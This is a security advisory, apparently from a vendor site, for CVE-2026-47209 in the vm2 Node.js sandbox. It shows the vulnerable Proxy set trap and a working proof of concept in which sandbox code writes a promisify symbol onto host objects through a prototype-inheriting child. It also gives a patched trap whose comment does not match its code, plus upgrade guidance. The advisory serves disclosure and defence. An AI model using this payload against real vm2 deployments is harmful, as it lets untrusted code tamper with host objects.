CVE-2026-47209

The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.

This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.

Vulnerable Code

// bridge.js:1231-1260
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    // ...
    try {
        value = otherFromThis(value);
        return otherReflectSet(object, key, value) === true;
        // BUG: 'receiver' is never used.
        // Should check if receiver !== proxy and handle accordingly.
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Reproduction

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function() {
    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
  };
`);

// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG

Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:

// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side

Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:

const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
    return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'

CVE-2026-47209 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.4); upgrading removes the vulnerable code path.

Kodem intelligence

set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
        return this.setPrototypeOf(target, value);
    }
    if (key === 'constructor' && thisArrayIsArray(object)) {
        thisReflectSet(target, key, value);
        return true;
    }
    try {
        value = otherFromThis(value);
        // When receiver is not the proxy itself, set on receiver (this-realm)
        // instead of the host target to preserve prototype-chain semantics.
        return otherReflectSet(object, key, value) === true;
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

1. What is CVE-2026-47209? CVE-2026-47209 is a high-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.3. It is fixed in 3.11.4.
2. How severe is CVE-2026-47209? CVE-2026-47209 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vm2 are affected by CVE-2026-47209? vm2 (npm) versions <= 3.11.3 is affected.
4. Is there a fix for CVE-2026-47209? Yes. CVE-2026-47209 is fixed in 3.11.4. Upgrade to this version or later.
5. Is CVE-2026-47209 exploitable, and should I be worried? Whether CVE-2026-47209 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47209 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47209? Upgrade vm2 to 3.11.4 or later.